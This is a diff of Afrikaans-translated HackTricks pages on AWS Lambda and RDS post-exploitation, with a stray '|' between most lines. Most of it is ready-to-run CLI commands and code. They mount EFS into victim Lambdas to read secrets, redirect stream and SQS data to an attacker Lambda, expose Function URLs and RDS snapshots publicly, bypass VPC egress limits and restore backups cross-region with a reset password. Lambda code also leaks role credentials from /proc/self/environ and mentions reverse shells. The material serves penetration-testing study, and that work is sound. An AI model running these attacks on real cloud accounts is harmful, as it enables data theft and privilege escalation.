||||
|
||||
## Aanval
|
||||
- Veranderlikes
|
||||
```
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
EFS_AP_ARN=<efs-access-point-arn>
|
||||
```
|
||||
1) Koppel die EFS Access Point aan die Lambda
|
||||
```
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
|
||||
--region $REGION
|
||||
# wait until LastUpdateStatus == Successful
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
2) Oorskryf kode met 'n eenvoudige leser wat lêers lys en na die eerste 200 bytes van 'n kandidaat geheim/config-lêer loer
|
||||
```
|
||||
cat > reader.py <<PY
|
||||
import os, json
|
||||
BASE=/mnt/ht
|
||||
|
||||
def lambda_handler(e, c):
|
||||
out={ls:[],peek:None}
|
||||
try:
|
||||
for root, dirs, files in os.walk(BASE):
|
||||
for f in files:
|
||||
p=os.path.join(root,f)
|
||||
out[ls].append(p)
|
||||
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
|
||||
if cand:
|
||||
with open(cand,rb) as fh:
|
||||
out[peek] = fh.read(200).decode(utf-8,ignore)
|
||||
except Exception as ex:
|
||||
out[err]=str(ex)
|
||||
return out
|
||||
PY
|
||||
zip reader.zip reader.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
|
||||
# If the original handler was different, set it to reader.lambda_handler
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
3) Roep aan en kry die data
|
||||
```
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
|
||||
cat /tmp/efs-out.json
|
||||
```
|
||||
Die uitvoer moet die gidslys onder /mnt/ht bevat en 'n klein voorskou van 'n gekose secret/config-lêer vanaf EFS.
|
||||
|
||||
## Impak
|
||||
|
||||
'n aanvaller met die gelysde permissies kan arbitraire in-VPC EFS Access Points in slagoffer Lambda-funksies mount om gedeelde konfigurasie en geheime wat op EFS gestoor is te lees en te exfiltrate wat voorheen ontoeganklik was vir daardie funksie.
|
||||
|
||||
## Opruiming
|
||||
```
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
|
||||
```
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Misbruik `UpdateEventSourceMapping` om die teikende Lambda-funksie van 'n bestaande Event Source Mapping (ESM) te verander sodat rekords van DynamoDB Streams, Kinesis, of SQS aan 'n attacker-controlled funksie afgelewer word. Dit lei stilweg lewendige data om sonder om produsente of die oorspronklike funksie-kode te raak.
|
||||
|
||||
## Impak
|
||||
- Lei en lees lewendige rekords van bestaande streams/queues om sonder om producer apps of victim code te wysig.
|
||||
- Potensiële data exfiltration of logika-manipulasie deur die victim se verkeer in 'n rogue funksie te verwerk.
|
||||
|
||||
## Vereiste toestemmings
|
||||
- `lambda:ListEventSourceMappings`
|
||||
- `lambda:GetEventSourceMapping`
|
||||
- `lambda:UpdateEventSourceMapping`
|
||||
- Vermoë om 'n attacker-controlled Lambda te ontplooi of te verwys (`lambda:CreateFunction` of toestemming om 'n bestaande een te gebruik).
|
||||
|
||||
## Stappe
|
||||
|
||||
1) Enumereer event source mappings vir die victim function
|
||||
```
|
||||
TARGET_FN=<victim-function-name>
|
||||
aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
|
||||
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[0].UUID' --output text)
|
||||
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[0].EventSourceArn' --output text)
|
||||
```
|
||||
2) Berei ’n deur die aanvaller beheerde ontvanger Lambda voor (dieselfde streek; idealiter soortgelyke VPC/runtime)
|
||||
```
|
||||
cat > exfil.py <<'PY'
|
||||
import json, boto3, os, time
|
||||
|
||||
def lambda_handler(event, context):
|
||||
print(json.dumps(event)[:3000])
|
||||
b = os.environ.get('EXFIL_S3')
|
||||
if b:
|
||||
k = f"evt-{int(time.time())}.json"
|
||||
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
|
||||
return {'ok': True}
|
||||
PY
|
||||
zip exfil.zip exfil.py
|
||||
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
|
||||
export ATTACKER_FN_ARN=$(aws lambda create-function \
|
||||
--function-name ht-esm-exfil \
|
||||
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
|
||||
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
|
||||
--query FunctionArn --output text)
|
||||
```
|
||||
3) Herlei die mapping na die attacker-funksie
|
||||
```
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
|
||||
```
|
||||
4) Genereer 'n gebeurtenis op die bron sodat die mapping geaktiveer word (voorbeeld: SQS)
|
||||
```
|
||||
SOURCE_SQS_URL=<queue-url>
|
||||
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
|
||||
```
|
||||
5) Verifieer dat die attacker function die batch ontvang
|
||||
```
|
||||
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
|
||||
```
|
||||
6) Opsionele stealth
|
||||
```
|
||||
# Pause mapping while siphoning events
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
|
||||
|
||||
# Restore original target later
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
|
||||
```
|
||||
Aantekeninge:
|
||||
- Vir SQS ESMs moet die uitvoeringsrol van die Lambda wat die ry verwerk die volgende regte hê: `sqs:ReceiveMessage`, `sqs:DeleteMessage`, en `sqs:GetQueueAttributes` (bestuurde beleid: `AWSLambdaSQSQueueExecutionRole`).
|
||||
- Die ESM UUID bly dieselfde; slegs sy `FunctionArn` word verander, so producers en source ARNs bly onaangeraak.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,46 @@
|
||||
# AWS - Lambda Function URL Publieke Blootstelling (AuthType NONE + Public Invoke Policy)
|
||||
|
||||
Skakel 'n private Lambda Function URL om na 'n publieke onbevestigde endpoint deur die Function URL AuthType na NONE te verander en 'n resource-based policy aan te heg wat lambda:InvokeFunctionUrl aan almal toestaan. Dit stel anonieme aanroep van interne funksies in staat en kan sensitiewe backend-operasies openbaar maak.
|
||||
|
||||
## Misbruik daarvan
|
||||
|
||||
- Vereistes: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
- Region: us-east-1
|
||||
|
||||
### Stappe
|
||||
1) Maak seker die funksie het 'n Function URL (standaard is AWS_IAM):
|
||||
```
|
||||
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
2) Skakel die URL na publiek (AuthType NONE):
|
||||
```
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
|
||||
```
|
||||
|
||||
3) Voeg 'n resource-based policy statement by om ongeauthentiseerde principals toe te laat:
|
||||
```
|
||||
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
|
||||
```
|
||||
|
||||
4) Haal die URL en roep sonder credentials aan:
|
||||
```
|
||||
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
|
||||
curl -sS "$URL"
|
||||
```
|
||||
|
||||
### Impak
|
||||
- Die Lambda funksie word anoniem toeganklik oor die internet.
|
||||
|
||||
### Voorbeelduitset (unauthenticated 200)
|
||||
```
|
||||
HTTP 200
|
||||
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
|
||||
```
|
||||
### Opruiming
|
||||
```
|
||||
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
# AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Misbruik die gevorderde logbeheer van `lambda:UpdateFunctionConfiguration` om 'n funksie se logs na 'n deur die aanvaller gekose CloudWatch Logs log group om te lei. Dit werk sonder om kode of die uitvoeringsrol te verander (die meeste Lambda-rolle sluit reeds `logs:CreateLogGroup/CreateLogStream/PutLogEvents` in via `AWSLambdaBasicExecutionRole`). As die funksie geheime of request bodies uitskryf, of met stack traces crash, kan jy dit vanaf die nuwe log group versamel.
|
||||
|
||||
## Benodigde permissies
|
||||
- lambda:UpdateFunctionConfiguration
|
||||
- lambda:GetFunctionConfiguration
|
||||
- lambda:InvokeFunction (of vertrou op bestaande triggers)
|
||||
- logs:CreateLogGroup (dikwels nie nodig as die funksie se rol dit het nie)
|
||||
- logs:FilterLogEvents (om gebeurtenisse te lees)
|
||||
|
||||
## Stappe
|
||||
1) Skep 'n sink log group
|
||||
```
|
||||
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
|
||||
```
|
||||
2) Herlei die logs van die teikenfunksie
|
||||
```
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <TARGET_FN> \
|
||||
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
|
||||
--region us-east-1
|
||||
```
|
||||
Wag totdat `LastUpdateStatus` na `Successful` verander:
|
||||
```
|
||||
aws lambda get-function-configuration --function-name <TARGET_FN> \
|
||||
--query LastUpdateStatus --output text
|
||||
```
|
||||
3) Roep die sink aan en lees daarvan
|
||||
```
|
||||
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
|
||||
sleep 5
|
||||
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
|
||||
```
|
||||
## Impak
|
||||
- Stiekem herlei alle toepassings-/stelsel-logs na 'n log group wat jy beheer, deur die verwagting te omseil dat logs slegs in `/aws/lambda/<fn>` beland.
|
||||
- Exfiltrate sensitiewe data wat deur die funksie gedruk word of in foute aan die lig kom.
|
||||
|
||||
## Opruiming
|
||||
```
|
||||
aws lambda update-function-configuration --function-name <TARGET_FN> \
|
||||
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
|
||||
--region us-east-1 || true
|
||||
```
|
||||
## Aantekeninge
|
||||
- Logging controls maak deel uit van Lambda’s `LoggingConfig` (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
|
||||
- Standaard stuur Lambda logs na `/aws/lambda/<function>`, maar jy kan dit na enige log group name wys; Lambda (of die execution role) sal dit skep as dit toegelaat word.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,12 @@
|
||||
# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
|
||||
|
||||
Misbruik `lambda:PutRuntimeManagementConfig` om 'n funksie aan 'n spesifieke runtime-weergawe te bind (Manual) of om opdaterings te vries (FunctionUpdate). Dit behou verenigbaarheid met kwaadwillige layers/wrappers en kan die funksie op 'n verouderde, kwesbare runtime hou om eksploitasie en langtermyn persistentie te vergemaklik.
|
||||
|
||||
Vereistes: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
|
||||
|
||||
Voorbeeld (us-east-1):
|
||||
- Aanroep: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
|
||||
- Vries opdaterings: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- Verifieer: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
|
||||
Opsioneel kan jy die funksie aan 'n spesifieke runtime-weergawe bind deur die Runtime Version ARN uit INIT_START logs te onttrek en `--update-runtime-on Manual --runtime-version-arn <arn>` te gebruik.
|
||||
@@ -0,0 +1,63 @@
|
||||
# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
|
||||
|
||||
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
|
||||
|
||||
## Misbruik daarvan
|
||||
|
||||
- Vereistes: lambda:UpdateFunctionConfiguration op die teikenfunksie (en lambda:InvokeFunction om te valideer), plus toestemmings om code/handler te verander indien nodig.
|
||||
- Aannames: Die funksie is tans gekonfigureer met VpcConfig wat na private subnets sonder NAT wys (dus outbound internet is geblokkeer).
|
||||
- Streek: us-east-1
|
||||
|
||||
### Stappe
|
||||
|
||||
0) Berei 'n minimale handler voor wat bewys dat outbound HTTP werk
|
||||
|
||||
cat > net.py <<'PY'
|
||||
import urllib.request, json
|
||||
|
||||
def lambda_handler(event, context):
|
||||
try:
|
||||
ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
|
||||
return {"egress": True, "ip": ip}
|
||||
except Exception as e:
|
||||
return {"egress": False, "err": str(e)}
|
||||
PY
|
||||
zip net.zip net.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
|
||||
|
||||
1) Neem die huidige VPC-config op (om later te herstel indien nodig)
|
||||
|
||||
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
|
||||
cat /tmp/orig-vpc.json
|
||||
|
||||
2) Ontkoppel die VPC deur leë lyste te stel
|
||||
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
--vpc-config SubnetIds=[],SecurityGroupIds=[] \
|
||||
--region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
|
||||
3) Roep aan en verifieer outbound toegang
|
||||
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
|
||||
cat /tmp/net-out.json
|
||||
|
||||
(Opsioneel) Herstel oorspronklike VPC-config
|
||||
|
||||
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
|
||||
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
|
||||
fi
|
||||
|
||||
### Impak
|
||||
- Herwin onbeperkte outbound internettoegang vanaf die funksie, wat data exfiltration of C2 moontlik maak van workloads wat doelbewus in private subnets sonder NAT geïsoleer was.
|
||||
|
||||
### Voorbeelduitset (na ontkoppeling van VpcConfig)
|
||||
|
||||
{"egress": true, "ip": "34.x.x.x"}
|
||||
|
||||
### Opruiming
|
||||
- As jy enige tydelike code/handler-wyse gemaak het, herstel dit.
|
||||
- Opsioneel herstel die oorspronklike VpcConfig wat in /tmp/orig-vpc.json gestoor is soos hierbo getoon.
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
Vir meer inligting kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@ Vir meer inligting, kyk:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
As die aanvaller genoeg regte het, kan hy 'n **DB publiek toeganklik** maak deur 'n snapshot van die DB te skep, en dan 'n publiek toeganklike DB van die snapshot.
|
||||
As die aanvaller genoeg toestemmings het, kan hy 'n **DB publiek toeganklik maak** deur 'n snapshot van die DB te skep, en daarna 'n publiek toeganklike DB vanaf daardie snapshot te herstel.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
'n Aanvaller met hierdie toestemmings kan **'n snapshot van 'n DB** **skep** en dit **publiek** **beskikbaar** maak. Dan kan hy eenvoudig 'n DB uit daardie snapshot in sy eie rekening skep.
|
||||
'n aanvaller met hierdie toestemmings kan **'n snapshot van 'n DB skep** en dit **publiek** **beskikbaar** maak. Daarna kan hy net in sy eie rekening 'n DB uit daardie snapshot skep.
|
||||
|
||||
As die aanvaller **nie die `rds:CreateDBSnapshot`** het nie, kan hy steeds **ander** geskepte snapshots **publiek** maak.
|
||||
As die aanvaller **nie die `rds:CreateDBSnapshot` het nie**, kan hy steeds **ander** geskepte snapshots **publiek** maak.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,30 +53,114 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
'n Aanvaller met die `rds:DownloadDBLogFilePortion` toestemming kan **gedeeltes van 'n RDS-instantie se loglêers aflaai**. As sensitiewe data of toegangskredens per ongeluk gelog word, kan die aanvaller hierdie inligting moontlik gebruik om hul bevoegdhede te verhoog of ongeoorloofde aksies uit te voer.
|
||||
'n aanvaller met die `rds:DownloadDBLogFilePortion` toestemming kan **dele van 'n RDS-instansie se loglêers aflaai**. As sensitiewe data of toegangsbewyse per ongeluk aangeteken word, kan die aanvaller hierdie inligting moontlik gebruik om hul bevoegdhede te eskaleer of om ongemagtigde aksies uit te voer.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Potensiële Impak**: Toegang tot sensitiewe inligting of ongeoorloofde aksies met behulp van gelekte akrediteer.
|
||||
**Potensiële impak**: Toegang tot sensitiewe inligting of ongemagtigde aksies deur gebruik te maak van leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
'n Aanvaller met hierdie toestemmings kan **DoS bestaande RDS instansies**.
|
||||
'n aanvaller met hierdie toestemmings kan **DoS bestaande RDS instances**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Potensiële impak**: Verwydering van bestaande RDS-instansies, en potensiële verlies van data.
|
||||
**Potensiële impak**: Uitwissing van bestaande RDS-instansies en moontlike verlies van data.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets
|
||||
|
||||
'n Aanvaller met hierdie toestemming kan **'n RDS-instansie-snapshot na 'n S3-bucket uitvoer**. As die aanvaller beheer oor die bestemmings-S3-bucket het, kan hulle potensieel toegang tot sensitiewe data binne die uitgevoerde snapshot verkry.
|
||||
'n aanvaller met hierdie toestemming kan **'n snapshot van 'n RDS-instansie na 'n S3-bucket eksporteer**. As die aanvaller beheer oor die bestemming S3-bucket het, kan hulle moontlik toegang kry tot sensitiewe data binne die geëksporteerde snapshot.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potensiële impak**: Toegang tot sensitiewe data in die uitgevoerde snapshot.
|
||||
**Potensiële impak**: Toegang tot sensitiewe data in die uitgeëksporteerde snapshot.
|
||||
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Misbruik cross-Region automated backups replication om stilweg 'n RDS-instansie se automated backups in 'n ander AWS Region te dupliseer en daar te herstel. Die aanvaller kan dan die herstelde DB publiek toeganklik maak en die master-wagwoord herstel/reset om data out-of-band te bekom in 'n Region wat verdedigers moontlik nie monitor nie.
|
||||
|
||||
Benodigde permissies (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
|
||||
Impak: Persistensie en data-ekfiltrasie deur 'n kopie van produksiedata in 'n ander Region te herstel en dit publiek bloot te stel met deur die aanvaller beheerde inlogbesonderhede.
|
||||
|
||||
<details>
|
||||
<summary>End-to-end CLI (vervang plekhouers)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
--region <SOURCE_REGION> \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
|
||||
--output table
|
||||
|
||||
# 2) Start cross-Region automated backups replication (run in DEST region B)
|
||||
aws rds start-db-instance-automated-backups-replication \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
|
||||
--source-region <SOURCE_REGION> \
|
||||
--backup-retention-period 7
|
||||
|
||||
# 3) Wait for replication to be ready in DEST
|
||||
aws rds describe-db-instance-automated-backups \
|
||||
--region <DEST_REGION> \
|
||||
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
|
||||
--output table
|
||||
# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
|
||||
|
||||
# 4) Restore to latest restorable time in DEST
|
||||
aws rds restore-db-instance-to-point-in-time \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
|
||||
--target-db-instance-identifier <TARGET_DB_ID> \
|
||||
--use-latest-restorable-time \
|
||||
--db-instance-class db.t3.micro
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 5) Make public and reset credentials in DEST
|
||||
# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
|
||||
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
|
||||
--group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
|
||||
--query GroupId --output text)
|
||||
aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
|
||||
--group-id "$OPEN_SG_ID" \
|
||||
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
|
||||
|
||||
# 5b) Publicly expose restored DB and attach the SG
|
||||
aws rds modify-db-instance --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids "$OPEN_SG_ID" \
|
||||
--apply-immediately
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 5c) Reset the master password
|
||||
aws rds modify-db-instance --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--master-user-password '<NEW_STRONG_PASSWORD>' \
|
||||
--apply-immediately
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
|
||||
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--query 'DBInstances[0].Endpoint.Address' --output text)
|
||||
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'
|
||||
|
||||
# 7) Optional: stop replication
|
||||
aws rds stop-db-instance-automated-backups-replication \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,11 +12,11 @@ Meer inligting oor lambda in:
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
||||
Gebruikers met die **`iam:PassRole`, `lambda:CreateFunction`, en `lambda:InvokeFunction`** toestemmings kan hul bevoegdhede verhoog.\
|
||||
Hulle kan **'n nuwe Lambda-funksie skep en dit 'n bestaande IAM-rol toewys**, wat die funksie die toestemmings verleen wat met daardie rol geassosieer word. Die gebruiker kan dan **kode skryf en oplaai na hierdie Lambda-funksie (met 'n rev shell byvoorbeeld)**.\
|
||||
Sodra die funksie opgestel is, kan die gebruiker **die uitvoering daarvan aktiveer** en die beoogde aksies deur die Lambda-funksie deur die AWS API aan te roep. Hierdie benadering stel die gebruiker effektief in staat om take indirek deur die Lambda-funksie uit te voer, werkend met die toegangsvlak wat aan die IAM-rol gegee is.\\
|
||||
Gebruikers met die **`iam:PassRole`, `lambda:CreateFunction`, en `lambda:InvokeFunction`** toestemmings kan hul voorregte eskaleer.\
|
||||
Hulle kan **'n nuwe Lambda function skep en dit 'n bestaande IAM role toewys**, en sodoende die funksie die toestemmings gee wat met daardie rol geassosieer is. Die gebruiker kan dan **kode skryf en na hierdie Lambda function oplaai (byvoorbeeld met 'n rev shell)**.\
|
||||
Sodra die funksie ingestel is, kan die gebruiker die uitvoering **aktiveer** en die beoogde aksies deur die Lambda function via die AWS API aan te roep. Hierdie benadering laat die gebruiker toe om take indirek deur die Lambda function uit te voer, werkend met die toegangsvlak wat aan die verwante IAM role toegeken is.\\
|
||||
|
||||
'n Aanvaller kan dit misbruik om 'n **rev shell te kry en die token te steel**:
|
||||
’n aanvaller kan dit misbruik om 'n **rev shell te kry en die token te steel**:
|
||||
```python:rev.py
|
||||
import socket,subprocess,os,time
|
||||
def lambda_handler(event, context):
|
||||
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
|
||||
# List roles
|
||||
aws iam list-attached-user-policies --user-name <user-name>
|
||||
```
|
||||
Jy kan ook **die lambda rol toestemmings misbruik** van die lambda funksie self.\
|
||||
As die lambda rol genoeg toestemmings gehad het, kan jy dit gebruik om admin regte aan jouself toe te ken:
|
||||
Jy kan ook **abuse the lambda role permissions** vanaf die lambda-funksie self.\
|
||||
As die lambda-rol genoeg permissies gehad het, kon jy dit gebruik om admin-regte aan jouself toe te ken:
|
||||
```python
|
||||
import boto3
|
||||
def lambda_handler(event, context):
|
||||
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
```
|
||||
Dit is ook moontlik om die lambda se rol geloofsbriewe te lek sonder om 'n eksterne verbinding te benodig. Dit sou nuttig wees vir **Netwerk-isoleerde Lambdas** wat op interne take gebruik word. As daar onbekende sekuriteitsgroepe is wat jou omgekeerde skulpies filter, sal hierdie stuk kode jou toelaat om die geloofsbriewe direk as die uitvoer van die lambda te lek.
|
||||
Dit is ook moontlik om die lambda's role credentials te leak sonder om 'n eksterne verbinding te benodig. Dit sal nuttig wees vir **Network isolated Lambdas** wat op interne take gebruik word. As daar onbekende security groups is wat jou reverse shells filter, sal hierdie kode jou toelaat om die credentials direk as die uitset van die lambda te leak.
|
||||
```python
|
||||
def handler(event, context):
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
@@ -72,34 +72,34 @@ return {
|
||||
aws lambda invoke --function-name <lambda_name> output.txt
|
||||
cat output.txt
|
||||
```
|
||||
**Potensiële Impak:** Direkte privesc na die arbitrêre lambda diensrol wat gespesifiseer is.
|
||||
**Potensiële impak:** Direkte privesc na die arbitrêre lambda service role wat gespesifiseer is.
|
||||
|
||||
> [!CAUTION]
|
||||
